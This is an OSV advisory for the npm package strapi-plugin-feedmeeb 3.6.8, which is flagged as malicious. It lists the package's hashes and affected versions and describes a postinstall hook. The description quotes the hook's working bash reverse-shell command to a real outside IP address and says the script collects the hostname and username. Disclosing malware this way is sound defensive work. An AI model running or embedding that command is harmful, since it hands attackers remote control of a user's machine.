MAL-2026-16230

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/strapi-plugin-feedmeeb/MAL-2026-16230.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-16230
Published
2026-09-16T13:57:47Z
Modified
2026-09-16T14:30:06Z
Summary
Malicious code in strapi-plugin-feedmeeb (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (7ecf1e41fb24d24ffe7b55319dda947ae30bfabb9266e38c17e1231cf4492ec5)

strapi-plugin-feedmeeb@3.6.8 ships a package.json postinstall hook that executes postinstall.js on npm install. The script constructs a bash reverse shell of the form bash -i >& /dev/tcp/14.225.210.85/80 0>&1 and exec's it via child_process, with retry logic, giving the operator of 14.225.210.85 interactive command execution on the installer's host. Alongside the shell, the script collects os.hostname() and os.userInfo().username to identify the compromised machine. The package presents itself as a Strapi plugin but its install-time behavior is unrelated to any plugin function.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-020095",
            "import_time": "2026-09-16T14:19:37.595349554Z",
            "modified_time": "2026-09-16T13:57:47Z",
            "sha256": "7ecf1e41fb24d24ffe7b55319dda947ae30bfabb9266e38c17e1231cf4492ec5",
            "source": "amazon-inspector",
            "versions": [
                "3.6.8"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / strapi-plugin-feedmeeb

Package

Name
strapi-plugin-feedmeeb
View open source insights on deps.dev
Purl
pkg:npm/strapi-plugin-feedmeeb

Affected ranges

Affected versions

3.*
3.6.8

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "postinstall.js",
            "sha256": "be89d4d26c3327a753f62deb28ebfadc3eccb1f3f56f179c342fade4eb285598",
            "tlsh": "ef3121ed06ba2a3961338cf9522b4053952740013822d57cbadc8743bfc1d99ca71bf6"
        }
    ],
    "package_integrity": [
        {
            "filename": "strapi-plugin-feedmeeb-3.6.8.tgz",
            "hashes": {
                "sha1": "bfd8177c04e6c23a1184a864868c2e3627c0150f",
                "sha512_sri": "sha512-jsx2fOIiXfFUaUDoAj/HTIRqp8bGVUWTCXJiomyMdCu9wUpqE9ClLpvqLO51qUVOGvIIRa0L9VFlFaL6aIUw8Q=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/strapi-plugin-feedmeeb/MAL-2026-16230.json"